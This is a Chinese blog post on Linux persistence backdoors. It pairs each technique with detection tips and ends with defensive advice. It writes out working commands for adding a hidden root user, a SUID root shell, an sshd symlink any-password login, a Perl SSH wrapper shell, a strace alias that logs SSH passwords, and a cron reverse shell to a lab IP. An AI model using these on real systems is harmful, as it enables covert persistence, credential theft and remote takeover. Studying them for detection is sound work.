[网络安全]Linux权限维持-后门篇

[网络安全]Linux权限维持-后门篇

拿到权限只是开始,藏住后门才是关键。

本文盘点Linux下常见的后门手法,助你知己知彼,守住阵地。

一.一句话添加用户

攻击者只需一行命令,就能悄无声息地创建普通用户root用户

bash 复制代码
# 添加普通用户(密码123456)
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest

# 添加root用户(uid=0)
useradd -p `openssl passwd -1 123456` guest -o -u 0 -g root -G root


#删除新增的guest用户,删除后可远程登录的账号排查中就不会有guest用户
# 先终止该用户的所有进程(可选)
pkill -u guest

# 删除用户及其家目录/邮件池
userdel -r guest

排查技巧

  • 查看UID为0的特权用户:awk -F: '$3==0{print $1}' /etc/passwd
  • 检查可远程登录的帐号:awk '/\$1|\$6/{print $1}' /etc/shadow
  • 审计sudo权限:more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

二. SUID Shell

给bash或sh设置SUID位,普通用户执行时就能以文件所有者(通常是root) 的权限运行。

bash 复制代码
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
/tmp/shell -p   # 获取root shell

排查技巧

  • 查找所有SUID文件:find / -perm /4000 2>/dev/null
  • 取消SUID:chmod u-s /tmp/shell
shell 复制代码
-rwsr-xr-x  1 root     root     1446024  4月 16 10:22 shell*
#取消SUID后
-rwxr-xr-x  1 root     root     1446024  4月 16 10:22 shell*

三. SSH公私钥免密登录

攻击者将自己的公钥写入服务器的 ~/.ssh/authorized_keys,即可免密登录。

排查技巧

  • 检查 /root/.ssh/authorized_keys 是否有多余的公钥 ,直接cat打开查看
  • 定期审计各用户的 .ssh 目录
shell 复制代码
root@wh-VMware-Virtual-Platform:/tmp# cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHA5k7mcOs65HKbjf/mevIsbYJPU9gRne/INmxEwlN+oHyCF6Rg8LM0Fv99Ryj1xSAk39ow6zmPMttKmsjpmB9WG3wpu/6Cv1KLCLIaZ2gc84qCA8Quh4LuDZHG93l2P3OjV0Mied6kXeIlmCFxrzI33lu49Zzyqxc08GSppvWgFot7i6aZqg0kJZJdjZ+syAGFmIBSltrvBz2mtwOMfe

四. 软链接后门(任意密码登录)

利用PAM认证的 pam_rootok.so 模块,通过软链接启动sshd,实现任意密码登录

bash 复制代码
ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8888
# 连接:ssh root@IP -p 8888,任意密码都能登录
shell 复制代码
root@wh-VMware-Virtual-Platform:/tmp# ln -sf /usr/sbin/sshd /tmp/su
root@wh-VMware-Virtual-Platform:/tmp# /tmp/su -oPort=8888
root@wh-VMware-Virtual-Platform:/tmp# netstat -anp | grep :8888
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      2532926/su: /tmp/su 
tcp6       0      0 :::8888                 :::*                    LISTEN      2532926/su: /tmp/su 

直接免密登录:

shell 复制代码
C:\Users\xxx>ssh root@192.168.xx.xx -p 8888
Last login: Wed Apr 15 16:57:36 2026 from 192.xxx.xxx.1
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#
root@wh-VMware-Virtual-Platform:~#

排查技巧

  • 检查异常监听的端口:netstat -anp | grep :8888
  • 结束对应进程即可清除,kill -9 pid 以及删除软连接 rm -f /tmp/su

五. SSH Wrapper 后门

通过修改 /usr/sbin/sshd 脚本,判断客户端源端口(如19526),匹配成功则直接返回shell。

服务端 (将脚本写入 /usr/sbin/sshd):

perl 复制代码
#!/usr/bin/perl
exec "/bin/sh" if(getpeername(STDIN) =~ /^..LF/);
exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV;

客户端(使用源端口19526连接):

bash 复制代码
socat STDIO TCP4:target:22,sourceport=19526

排查技巧

  • 检查 /usr/sbin/sshd 是否为正常二进制
  • 重装openssh-server即可恢复

六. strace 后门(记录SSH密码)

通过alias劫持ssh命令,利用 strace 记录所有读写和连接操作,从而捕获明文密码。

bash 复制代码
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
source ~/.bashrc

排查技巧

  • 执行 alias 查看是否被劫持
  • 检查 ~/.bashrc/etc/bashrc 中是否有可疑alias

七. Crontab 反弹Shell

通过定时任务定期执行反弹shell脚本,实现持久化控制。

bash 复制代码
# 创建反弹脚本 /etc/evil.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345 0>&1

# 添加定时任务(每分钟执行)
echo '*/1 * * * * root /etc/evil.sh' >> /etc/crontab
service crond restart

排查技巧

  • 检查当前用户的crontab:crontab -l
  • 检查系统crontab:cat /etc/crontab/etc/cron.d/*

八. OpenSSH 后门

重新编译OpenSSH,植入后门密码(如 123456789),并记录所有登录成功的用户名密码到指定文件(如 /tmp/1.txt)。

排查技巧

  • 对比 sshd 二进制文件的md5
  • 使用 strace 跟踪sshd进程,查看它打开了哪些文件
  • 检查 /tmp/1.txt 等可疑日志文件

九. PAM 后门

修改PAM模块源码(pam_unix_auth.c),添加万能密码,同时记录用户真实密码到文件。

排查技巧

  • 检查PAM模块文件的修改时间:stat /lib64/security/pam_unix.so
  • 对比原始版本的文件hash

十. Rootkit 后门(如Mafix)

通过替换系统命令(ps、ls、netstat等)或劫持内核模块,隐藏进程、文件、网络连接。

例如Mafix伪造SSH漏洞,可自定义端口和密码登录。

排查技巧

  • 使用 rpm -Va 校验被替换的系统命令
  • 使用 unhide 扫描隐藏进程
  • 使用 chkrootkitrkhunter 工具扫描

结语

未知攻,焉知防。

以上后门技术涵盖了用户、文件、进程、网络、认证等多个层面。作为防守方,应做到:

  • 定期审计:用户、SUID文件、计划任务、SSH密钥、服务端口
  • 基线校验:对比关键二进制文件(sshd、ps、ls)的hash
  • 日志监控:开启auth.log、secure日志,并发送到远程
  • 工具辅助 :使用 rkhunterchkrootkitauditdSysdig

只有了解攻击者的"藏身之术",才能有的放矢地加固系统。
安全之路,你我同行。


本文仅用于技术研究与防御学习,请勿用于非法用途。

相关推荐
海盗船长没有船y11 小时前
避坑指南:Ubuntu 启动报错 “Unable to mount root fs“ 的深层诱因与修复
linux·ubuntu·故障排除·dkms
东风微鸣11 小时前
Ubuntu 26.04 游戏配置指南:魔兽争霸3 Dota1
linux·ubuntu·游戏
郝亚军11 小时前
在Ubuntu 2.04上如何按照x86_64架构编译libmodbus库
linux·运维·ubuntu
小黑蛋学java11 小时前
Ubuntu Docker 安装手册
linux·ubuntu·docker
坚持就完事了18 小时前
Linux中如何添加环境变量
linux·运维·服务器
l1t19 小时前
mingw和Linux中的gcc和llvm编译器编译的pocketpy执行同一个python脚本的不同效果
linux·运维·python
白緢20 小时前
一、Linux 基础入门
linux·运维·服务器
菜菜艾20 小时前
自动化环境补丁更新系统
linux·运维·bash·运维开发
HalvmånEver20 小时前
MySQL的索引
android·linux·数据库·学习·mysql
wljy11 天前
二、静态库的制作和使用
linux·c语言·开发语言·c++